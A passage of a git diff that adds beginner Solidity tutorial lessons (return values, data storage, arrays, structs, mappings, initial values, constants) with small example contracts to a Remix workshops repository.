multiple variables + function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ + return(1, true, [uint256(1),2,5]); + } +``` +In the above code, the `returnMultiple()` function has multiple outputs: `returns (uint256, bool, uint256[3] memory) `, and then we specify the return variables/values in the function body with `return (1, true, [uint256 (1), 2,5]) `. + +## Named returns +We can indicate the name of the return variables in `returns`, so that `solidity` automatically initializes these variables, and automatically returns the values of these functions without adding the `return` keyword. + +```solidity + // named returns + function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + _number = 2; + _bool = false; + _array = [uint256(3),2,1]; + } +``` +In the above code, we declare the return variable type and variable name with `returns (uint256 _number, bool _bool, uint256[3] memory _array) `. Thus, we only need to assign values to the variable ` _number`, ` _bool ` and ` _array `in the function body, and they will automatically return. + +Of course, you can also return variables with `return` keyword in named returns: +```solidity + // Named return, still support return + function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + return(1, true, [uint256(1),2,5]); + } +``` +## Destructuring assignments +`Solidity` internally allows tuple types, i.e. a list of objects of potentially different types whose number is a constant at compile-time. The tuples can be used to return multiple values at the same time. + +- Variables declared with type and assigned from the returned tuple, not all elements have to be specified (but the number must match): +```solidity + uint256 _number; + bool _bool; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); +``` +- Assign part of return values: Components can be left out. In the following code, we only assign the return value ` _bool2 `, but not ` _ number` and ` _array `: +```solidity + (, _bool2, ) = returnNamed(); +``` + +## Verify on Remix +- Deploy the contract, and check the return values of the functions. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/04_Return_en/step1/img/4-1.png) + + +## Summary +In this section, we introduced function return values `return` and `returns`, including returning multiple variables, named returns, and reading full or part of return values using destructuring assignments. + + + + + diff --git a/SolidityBasics_Part1_Fundamentals/step5/DataStorage.sol b/SolidityBasics_Part1_Fundamentals/step5/DataStorage.sol new file mode 100644 index 000000000..136981cab --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step5/DataStorage.sol @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract DataStorage { + // The data location of x is storage. + // This is the only place where the + // data location can be omitted. + uint[] x = [1,2,3]; + + function fStorage() public{ + //Declare a storage variable xStorage, pointing to x. Modifying xStorage also affects x + uint[] storage xStorage = x; + xStorage[0] = 100; + } + + function fMemory() public view{ + //Declare a variable xMemory of Memory, copying x. Modifying xMemory does not affect x + uint[] memory xMemory = x; + xMemory[0] = 100; + xMemory[1] = 200; + uint[] memory xMemory2 = x; + xMemory2[0] = 300; + } + + function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + //The parameter is the calldata array, which cannot be modified + // _x[0] = 0 //This modification will report an error + return(_x); + } +} + +contract Variables { + uint public x = 1; + uint public y; + string public z; + + function foo() external{ + // You can change the value of the state variable in the function + x = 5; + y = 2; + z = "0xAA"; + } + + function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); + } + + function global() external view returns(address, uint, bytes memory){ + address sender = msg.sender; + uint blockNum = block.number; + bytes memory data = msg.data; + return(sender, blockNum, data); + } +} \ No newline at end of file diff --git a/SolidityBasics_Part1_Fundamentals/step5/img/5-1.png b/SolidityBasics_Part1_Fundamentals/step5/img/5-1.png new file mode 100644 index 000000000..25add475a Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step5/img/5-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step5/img/5-2.png b/SolidityBasics_Part1_Fundamentals/step5/img/5-2.png new file mode 100644 index 000000000..65353da9e Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step5/img/5-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step5/img/5-3.png b/SolidityBasics_Part1_Fundamentals/step5/img/5-3.png new file mode 100644 index 000000000..0c1995ea2 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step5/img/5-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step5/img/5-4.png b/SolidityBasics_Part1_Fundamentals/step5/img/5-4.png new file mode 100644 index 000000000..fc09f10f8 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step5/img/5-4.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step5/step1.md b/SolidityBasics_Part1_Fundamentals/step5/step1.md new file mode 100644 index 000000000..17fa6ae05 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step5/step1.md @@ -0,0 +1,143 @@ +# WTF Solidity Tutorial: 5. Data Storage and Scope + +Recently, I have been relearning Solidity, consolidating the finer details, and also writing a "WTF Solidity Tutorial" for newbies to learn. Lectures are updated 1~3 times weekly. + +Everyone is welcome to follow my Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +WTF Academy Discord: [Link](https://discord.gg/5akcruXrsk) + +All codebase and tutorial notes are open source and available on GitHub (At 1024 repo stars, course certification is unlocked. At 2048 repo stars, community NFT is unlocked.): [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity)\ + +----- + +## Reference types in Solidity +**Reference Type**: Reference types differ from value types in that they do not store values directly on their own. Instead, reference types store the address/pointer of the data’s location and do not directly share the data. You can modify the underlying data with different variable names. Reference types `array`, `struct` and `mapping`, which take up a lot of storage space. We need to deal with the location of the data storage when using them. + +## Data location +There are three types of data storage locations in solidity: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. + +The data of a `storage` variable is stored on-chain, similar to the hard disk of a computer, and consumes a lot of `gas`; while the data of `memory` and `calldata` variables are temporarily stored in memory, consuming less `gas`. + +General usage: + +1. `storage`: The state variables are `storage` by default, which are stored on-chain. + +2. `memory`: The parameters and temporary variables in the function generally use `memory` label, which is stored in memory and not on-chain. + +3. `calldata`: Similar to `memory`, stored in memory, not on-chain. The difference from `memory` is that `calldata` variables cannot be modified, and are generally used for function parameters. Example: + +```solidity + function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + //The parameter is the calldata array, which cannot be modified. + // _x[0] = 0 //This modification will report an error. + return(_x); + } +``` + +**Example:** +![5-1.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/05_DataStorage_en/step1/img/5-1.png) + +### Data location and assignment behaviour + +Data locations are not only relevant for the persistence of data but also for the semantics of assignments: + +1. When `storage` (a state variable of the contract) is assigned to the local `storage` (in a function), a reference will be created, and the changing value of the new variable will affect the original one. Example: +```solidity + uint[] x = [1,2,3]; // state variable: array x + + function fStorage() public{ + //Declare a storage variable xStorage, pointing to x. Modifying xStorage will also affect x + uint[] storage xStorage = x; + xStorage[0] = 100; + } +``` +**Example:** +![5-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/05_DataStorage_en/step1/img/5-2.png) + +2. Assigning `storage` to `memory` creates independent copies, and changes to one will not affect the other; and vice versa. Example: +```solidity + uint[] x = [1,2,3]; // state variable: array x + + function fMemory() public view{ + //Declare a variable xMemory of Memory, copy x. Modifying xMemory will not affect x + uint[] memory xMemory = x; + xMemory[0] = 100; + } +``` +**Example:** +![5-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/05_DataStorage_en/step1/img/5-3.png) + +3. Assigning `memory` to `memory` will create a reference, and changing the new variable will affect the original variable. + +4. Otherwise, assigning a variable to `storage` will create independent copies, and modifying one will not affect the other. + +## Variable scope +There are three types of variables in `Solidity` according to their scope: state variables, local variables, and global variables. + +### 1. State variables +State variables are variables whose data is stored on-chain and can be accessed by in-contract functions, but their `gas` consumption is high. + +State variables are declared inside the contract and outside the functions: +```solidity +contract Variables { + uint public x = 1; + uint public y; + string public z; +``` + +We can change the value of the state variable in a function: + +```solidity + function foo() external{ + // You can change the value of the state variable in the function + x = 5; + y = 2; + z = "0xAA"; + } +``` + +### 2. Local variable +Local variables are variables that are only valid during function execution; they are invalid after function exit. The data of local variables are stored in memory, not on-chain, and their `gas` consumption is low. + +Local variables are declared inside a function: +```solidity + function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); + } +``` + +### 3. Global variable +Global variables are variables that work in the global scope and are reserved keywords for `solidity`. They can be used directly in functions without declaring them: + +```solidity + function global() external view returns(address, uint, bytes memory){ + address sender = msg.sender; + uint blockNum = block.number; + bytes memory data = msg.data; + return(sender, blockNum, data); + } +``` +In the above example, we use three global variables: `msg.sender`, `block.number` and `msg.data`, which represent the sender of the message (current call), current block height, and complete calldata. + +Below are some commonly used global variables: + +- `blockhash(uint blockNumber)`: (`bytes32`) The hash of the given block - only applies to the 256 most recent block. +- `block.coinbase` : (`address payable`) The address of the current block miner +- `block.gaslimit` : (`uint`) The gaslimit of the current block +- `block.number` : (`uint`) Current block number +- `block.timestamp` : (`uint`) The timestamp of the current block, in seconds since the unix epoch +- `gasleft()` : (`uint256`) Remaining gas +- `msg.data` : (`bytes calldata`) Complete calldata +- `msg.sender` : (`address payable`) Message sender (current caller) +- `msg.sig` : (`bytes4`) first four bytes of the calldata (i.e. function identifier) +- `msg.value` : (`bytes4`) number of wei sent with the message + +**Example:** +![5-4.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/05_DataStorage_en/step1/img/5-4.png) + +## Summary +In this chapter, we introduced reference types, data storage locations and variable scopes in `solidity`. There are three types of data storage locations: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. The variable scope includes state variables, local variables and global variables. + diff --git a/SolidityBasics_Part1_Fundamentals/step6/ArrayAndStruct.sol b/SolidityBasics_Part1_Fundamentals/step6/ArrayAndStruct.sol new file mode 100644 index 000000000..9f00e0172 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step6/ArrayAndStruct.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract ArrayTypes { + + // Fixed Length Array + uint[8] array1; + bytes1[5] array2; + address[100] array3; + + // Variable Length Array + uint[] array4; + bytes1[] array5; + address[] array6; + bytes array7; + + // Initialize a variable-length Array + uint[] array8 = new uint[](5); + bytes array9 = new bytes(9); + // Assign value to variable length array + function initArray() external pure returns(uint[] memory){ + uint[] memory x = new uint[](3); + x[0] = 1; + x[1] = 3; + x[2] = 4; + return(x); + } + + function arrayPush() public returns(uint[] memory){ + uint[2] memory a = [uint(1),2]; + array4 = a; + array4.push(3); + return array4; + } +} + +pragma solidity ^0.8.21; +contract StructTypes { + // Struct + struct Student{ + uint256 id; + uint256 score; + } + Student student; // Initially a student structure + // assign value to structure + // Method 1: Create a storage struct reference in the function + function initStudent1() external{ + Student storage _student = student; // assign a copy of student + _student.id = 11; + _student.score = 100; + } + + // Method 2: Directly refer to the struct of the state variable + function initStudent2() external{ + student.id = 1; + student.score = 80; + } + + // Method 3: struct constructor + function initStudent3() external { + student = Student(3, 90); + } + + // Method 4: key value + function initStudent4() external { + student = Student({id: 4, score: 60}); + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step6/img/6-1.png b/SolidityBasics_Part1_Fundamentals/step6/img/6-1.png new file mode 100644 index 000000000..e6e26e62b Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step6/img/6-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step6/img/6-2.png b/SolidityBasics_Part1_Fundamentals/step6/img/6-2.png new file mode 100644 index 000000000..ecd5c1369 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step6/img/6-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step6/img/6-3.png b/SolidityBasics_Part1_Fundamentals/step6/img/6-3.png new file mode 100644 index 000000000..2b504dac6 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step6/img/6-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step6/step1.md b/SolidityBasics_Part1_Fundamentals/step6/step1.md new file mode 100644 index 000000000..a2692a6e6 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step6/step1.md @@ -0,0 +1,133 @@ +# WTF Solidity Tutorial: 6. Array & Struct + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +In this lecture, we will introduce two important variable types in Solidity: `array` and `struct`. + +## Array + +An `array` is a variable type commonly used in Solidity to store a set of data (integers, bytes, addresses, etc.). + +There are two types of arrays: fixed-sized and dynamically-sized arrays.: + +- fixed-sized arrays: The length of the array is specified at the time of declaration. An `array` is declared in the format `T[k]`, where `T` is the element type and `k` is the length. + +```solidity + // fixed-length array + uint[8] array1; + byte[5] array2; + address[100] array3; +``` + +- Dynamically-sized array(dynamic array): The length of the array is not specified during declaration. It uses the format of `T[]`, where `T` is the element type. + +```solidity + // variable-length array + uint[] array4; + byte[] array5; + address[] array6; + bytes array7; +``` + +**Notice**: `bytes` is a special case, it is a dynamic array, but you don't need to add `[]` to it. You can use either `bytes` or `bytes1[]` to declare a byte array, but not `byte[]`. `bytes` is recommended and consumes less gas than `bytes1[]`. + +### Rules for creating arrays + +In Solidity, there are some rules for creating arrays: + +- A `memory` dynamic array, can be created with the `new` operator, but the length must be declared, and the length cannot be changed after the declaration. For example: + +```solidity + // memory dynamic array + uint[] memory array8 = new uint[](5); + bytes memory array9 = new bytes(9); +``` + +- Array literal are arrays in the form of one or more expressions, and are not immediately assigned to variables; such as `[uint(1),2,3]` (the type of the first element needs to be declared, otherwise the type with the smallest storage space is used by default). + +- When creating a dynamic array, you need an element-by-element assignment. + +```solidity + uint[] memory x = new uint[](3); + x[0] = 1; + x[1] = 3; + x[2] = 4; +``` + +### Members of Array + +- `length`: Arrays have a `length` member containing the number of elements, and the length of a `memory` array is fixed after creation. +- `push()`: Dynamic arrays have a `push()` member function that adds a `0` element at the end of the array. +- `push(x)`: Dynamic arrays have a `push(x)` member function, which can add an `x` element at the end of the array. +- `pop()`: Dynamic arrays have a `pop()` member that removes the last element of the array. + +**Example:** + +![6-1.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/06_ArrayAndStruct_en/step1/img/6-1.png) + +## Struct + +You can define new types in the form of `struct` in Solidity. Elements of `struct` can be primitive types or reference types. And `struct` can be the element for `array` or `mapping`. + +```solidity + // struct + struct Student{ + uint256 id; + uint256 score; + } + + Student student; // Initially a student structure +``` + + There are 4 ways to assign values to `struct`: + +```solidity + // assign value to structure + // Method 1: Create a storage struct reference in the function + function initStudent1() external{ + Student storage _student = student; // assign a copy of student + _student.id = 11; + _student.score = 100; + } +``` + +**Example:** + +![6-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/06_ArrayAndStruct_en/step1/img/6-2.png) + +```solidity + // Method 2: Directly refer to the struct of the state variable + function initStudent2() external{ + student.id = 1; + student.score = 80; + } +``` + +**Example:** + +![6-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/06_ArrayAndStruct_en/step1/img/6-3.png) + +```solidity + // Method 3: struct constructor + function initStudent3() external { + student = Student(3, 90); + } + + // Method 4: key value + function initStudent4() external { + student = Student({id: 4, score: 60}); + } +``` + + +## Summary + +In this lecture, we introduced the basic usage of `array` and `struct` in Solidity. In the next lecture, we will introduce the hash table in Solidity - `mapping`。 + diff --git a/SolidityBasics_Part1_Fundamentals/step7/Mapping.sol b/SolidityBasics_Part1_Fundamentals/step7/Mapping.sol new file mode 100644 index 000000000..6f0444824 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step7/Mapping.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.15; +contract Mapping { + mapping(uint => address) public idToAddress; // id maps to address + mapping(address => address) public swapPair; // Mapping of token pairs, from address to address + + + //Rule 1. _KeyType cannot be custom types. The following example will throw an error + //Define a struct + //struct Student{ + // uint256 id; + // uint256 score; + //} + //mapping(struct => uint) public testVar; + + function writeMap (uint _Key, address _Value) public { + idToAddress[_Key] = _Value; + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step7/img/7-1_en.png b/SolidityBasics_Part1_Fundamentals/step7/img/7-1_en.png new file mode 100644 index 000000000..64d1792c7 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step7/img/7-1_en.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step7/img/7-2_en.png b/SolidityBasics_Part1_Fundamentals/step7/img/7-2_en.png new file mode 100644 index 000000000..ac9ae003c Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step7/img/7-2_en.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step7/img/7-3_en.png b/SolidityBasics_Part1_Fundamentals/step7/img/7-3_en.png new file mode 100644 index 000000000..a306c1eec Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step7/img/7-3_en.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step7/step1.md b/SolidityBasics_Part1_Fundamentals/step7/step1.md new file mode 100644 index 000000000..97ac891d7 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step7/step1.md @@ -0,0 +1,76 @@ +# WTF Solidity Tutorial: 7. Mapping + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +In this section, we will introduce the hash table in Solidity: `mapping` type. + +## Mapping + +With `mapping` type, people can query the corresponding `Value` by using a `Key`. For example, a person's wallet address can be queried by their `id`. + +The format of declaring the `mapping` is `mapping(_KeyType => _ValueType)`, where `_KeyType` and `_ValueType` are the variable types of `Key` and `Value` respectively. For example: + +```solidity + mapping(uint => address) public idToAddress; // id maps to address + mapping(address => address) public swapPair; // mapping of token pairs, from address to address +``` + +## Rules of `mapping` + +- **Rule 1**: The `_KeyType` should be selected among default types in `solidity` such as ` uint `, `address`, etc. No custom `struct` can be used. However, `_ValueType` can be any custom type. The following example will throw an error, because `_KeyType` uses a custom struct: + +```solidity + // define a struct + struct Student{ + uint256 id; + uint256 score; + } + mapping(Student => uint) public testVar; +``` + +- **Rule 2**: The storage location of the mapping must be `storage`: it can serve as the state variable or the `storage` variable inside the function. But it can't be used in arguments or return results of `public` function. + +- **Rule 3**: If the mapping is declared as `public` then Solidity will automatically create a `getter` function for you to query for the `Value` by the `Key`. + +- **Rule 4**:The syntax of adding a key-value pair to a mapping is `_Var[_Key] = _Value`, where `_Var` is the name of the mapping variable, and `_Key` and `_Value` correspond to the new key-value pair. For example: + +```solidity + function writeMap (uint _Key, address _Value) public { + idToAddress[_Key] = _Value; + } +``` + +## Principle of `mapping` + +- **Principle 1**: The mapping does not store any `key` information or length information. + +- **Principle 2**: Mapping use `keccak256(key)` as offset to access value. + +- **Principle 3**: Since Ethereum defines all unused space as 0, all `key` that are not assigned a `value` will have an initial value of 0. + +## Verify on Remix (use `Mapping.sol` as an example) + +- Deploy `Mapping.sol` + + ![7-1_en](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/07_Mapping_en/step1/img/7-1_en.png) + +- Check the initial value of map `idToAddress`. + + ![7-2_en](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/07_Mapping_en/step1/img/7-2_en.png) + +- Write a new key-value pair + + ![7-3_en](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/07_Mapping_en/step1/img/7-3_en.png) + + + +## Summary + +In this section, we introduced the `mapping` type in Solidity. So far, we've learned all kinds of common variables. diff --git a/SolidityBasics_Part1_Fundamentals/step8/InitialValue.sol b/SolidityBasics_Part1_Fundamentals/step8/InitialValue.sol new file mode 100644 index 000000000..5d09dad1f --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step8/InitialValue.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.15; + +contract InitialValue { + // Value Types + bool public _bool; // false + string public _string; // "" + int public _int; // 0 + uint public _uint; // 0 + address public _address; // 0x0000000000000000000000000000000000000000 + + enum ActionSet { Buy, Hold, Sell} + ActionSet public _enum; // first element 0 + + function fi() internal{} // internal blank equation + function fe() external{} // external blank equation + + // Reference Types + uint[8] public _staticArray; // A static array which all members set to their default values[0,0,0,0,0,0,0,0] + uint[] public _dynamicArray; // `[]` + mapping(uint => address) public _mapping; // A mapping which all members set to their default values + // A struct which all members set to their default values 0, 0 + struct Student{ + uint256 id; + uint256 score; + } + Student public student; + + // delete operator + bool public _bool2 = true; + function d() external { + delete _bool2; // delete will make _bool2 change to default(false) + } +} \ No newline at end of file diff --git a/SolidityBasics_Part1_Fundamentals/step8/img/8-1_en.jpg b/SolidityBasics_Part1_Fundamentals/step8/img/8-1_en.jpg new file mode 100644 index 000000000..d2fe11e84 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step8/img/8-1_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step8/img/8-2_en.jpg b/SolidityBasics_Part1_Fundamentals/step8/img/8-2_en.jpg new file mode 100644 index 000000000..1596cc10a Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step8/img/8-2_en.jpg differ diff --git a/SolidityBasics_Part1_Fundamentals/step8/step1.md b/SolidityBasics_Part1_Fundamentals/step8/step1.md new file mode 100644 index 000000000..3f3988e84 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step8/step1.md @@ -0,0 +1,92 @@ +# WTF Solidity Tutorial: 8. Initial Value + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +## Initial values of variables + +In Solidity, variables declared but not assigned have their initial/default values. In this tutorial, we will introduce the initial values of common variable types. + +### Initial values of value types + +- `boolean`: `false` +- `string`: `""` +- `int`: `0` +- `uint`: `0` +- `enum`: first element in enumeration +- `address`: `0x0000000000000000000000000000000000000000` (or `address(0)`) +- `function` + - `internal`: blank function + - `external`: blank function + +You can use the `getter` function of `public` variables to confirm the above initial values: + +```solidity + bool public _bool; // false + string public _string; // "" + int public _int; // 0 + uint public _uint; // 0 + address public _address; // 0x0000000000000000000000000000000000000000 + + enum ActionSet {Buy, Hold, Sell} + ActionSet public _enum; // first element 0 + + function fi() internal{} // internal blank function + function fe() external{} // external blank function +``` + +### Initial values of reference types + +- `mapping`: a `mapping` which all members set to their default values +- `struct`: a `struct` which all members set to their default values + +- `array` + - dynamic array: `[]` + - static array(fixed-length): a static array where all members are set to their default values. + +You can use the `getter` function of `public` variables to confirm initial values: + +```solidity + // reference types + uint[8] public _staticArray; // a static array which all members set to their default values[0,0,0,0,0,0,0,0] + uint[] public _dynamicArray; // `[]` + mapping(uint => address) public _mapping; // a mapping which all members set to their default values + // a struct in which all members are set to their default values of 0, 0 + struct Student{ + uint256 id; + uint256 score; + } + Student public student; +``` + +### `delete` operator + +`delete a` will change the value of variable `a` to its initial value. + +```solidity + // delete operator + bool public _bool2 = true; + function d() external { + delete _bool2; // delete will make _bool2 change to default(false) + } +``` + +## Verify on Remix + +- Deploy `InitialValue.sol` and check the initial values of the different types. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/08_InitialValue_en/step1/img/8-1_en.jpg) + +- After using the `delete` operator, the values of the variables are reset to their initial values. + + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/08_InitialValue_en/step1/img/8-2_en.jpg) + +## Summary + +In this section, we introduced the initial values of variables in Solidity. When a variable is declared but not assigned, its value defaults to the initial value, which is equivalent to `0` represented in its type. The `delete` operator can reset the value of the variable to the initial value. diff --git a/SolidityBasics_Part1_Fundamentals/step9/Constant.sol b/SolidityBasics_Part1_Fundamentals/step9/Constant.sol new file mode 100644 index 000000000..c9fa119c1 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step9/Constant.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract Constant { + // The constant variable must be initialized when declared and cannot be changed after that + uint256 public constant CONSTANT_NUM = 10; + string public constant CONSTANT_STRING = "0xAA"; + bytes public constant CONSTANT_BYTES = "WTF"; + address public constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; + + // The immutable variable can be initialized in the constructor and cannot be changed after that + uint256 public immutable IMMUTABLE_NUM = 9999999999; + address public immutable IMMUTABLE_ADDRESS; + uint256 public immutable IMMUTABLE_BLOCK; + uint256 public immutable IMMUTABLE_TEST; + + // The immutable variables are initialized with constructor, so that could use + constructor(){ + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_BLOCK = block.number; + IMMUTABLE_TEST = test(); + } + + function test() public pure returns(uint256){ + uint256 what = 9; + return(what); + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step9/img/9-1.png b/SolidityBasics_Part1_Fundamentals/step9/img/9-1.png new file mode 100644 index 000000000..1541cf4a9 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step9/img/9-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step9/img/9-2.png b/SolidityBasics_Part1_Fundamentals/step9/img/9-2.png new file mode 100644 index 000000000..ca29d66ea Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step9/img/9-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step9/img/9-3.png b/SolidityBasics_Part1_Fundamentals/step9/img/9-3.png new file mode 100644 index 000000000..79263df31 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step9/img/9-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step9/step1.md b/SolidityBasics_Part1_Fundamentals/step9/step1.md new file mode 100644 index 000000000..6e706e565 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step9/step1.md @@ -0,0 +1,77 @@ +# WTF Solidity Tutorial: 9. Constant and Immutable + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +In this section, we will introduce two keywords to restrict modifications to their state in Solidity: `constant` and `immutable`. If a state variable is declared with `constant` or `immutable`, its value cannot be modified after contract compilation. + +Value-typed variables can be declared as `constant` and `immutable`; `string` and `bytes` can be declared as `constant`, but not `immutable`. + +## constant and immutable + +### constant + +The `constant` variable must be initialized during declaration and cannot be changed afterwards. Any modification attempt will result in an error at compilation. + +``` solidity + // The constant variable must be initialized when declared and cannot be changed after that + uint256 constant CONSTANT_NUM = 10; + string constant CONSTANT_STRING = "0xAA"; + bytes constant CONSTANT_BYTES = "WTF"; + address constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; +``` + +### Immutable + +The `immutable` variable can be initialized during declaration or in the constructor, which is more flexible. + +``` solidity + // The immutable variable can be initialized in the constructor and cannot be changed later + uint256 public immutable IMMUTABLE_NUM = 9999999999; + address public immutable IMMUTABLE_ADDRESS; + uint256 public immutable IMMUTABLE_BLOCK; + uint256 public immutable IMMUTABLE_TEST; +``` + +You can initialize the `immutable` variable using a global variable such as `address(this)`, `block.number`, or a custom function. In the following example, we use the `test()` function to initialize the `IMMUTABLE_TEST` variable to a value of `9`: + +``` solidity + // The immutable variables are initialized with the constructor, that is: + constructor(){ + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_BLOCK = block.number; + IMMUTABLE_TEST = test(); + } + + function test() public pure returns(uint256){ + uint256 what = 9; + return(what); + } +``` + + +## Verify on Remix + +1. After the contract is deployed, You can obtain the values of the `constant` and `immutable` variables through the `getter` function. + + ![9-1.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/09_Constant_en/step1/img/9-1.png) + +2. After the `constant` variable is initialized, any attempt to change its value will result. In the example, the compiler throws: `TypeError: Cannot assign to a constant variable.` + + ![9-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/09_Constant_en/step1/img/9-2.png) + +3. After the `immutable` variable is initialized, any attempt to change its value will result. In the example, the compiler throws: `TypeError: Immutable state variable already initialized.` + + ![9-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/09_Constant_en/step1/img/9-3.png) + +## Summary + +In this section, we introduced two keywords to restrict modifications to their state in Solidity: `constant` and `immutable`. They keep the variables that should not be changed unchanged. It will help to save `gas` while improving the contract's security. + + diff --git a/SolidityBasics_Part2_Advanced/config.yml b/SolidityBasics_Part2_Advanced/config.yml new file mode 100644 index 000000000..e7e252a23 --- /dev/null +++ b/SolidityBasics_Part2_Advanced/config.yml @@ -0,0 +1,37 @@ +id: solidity-basics-part2 +name: Solidity Basics - Part 2 - Advanced Concepts (Lessons 16-30) +summary: Master advanced 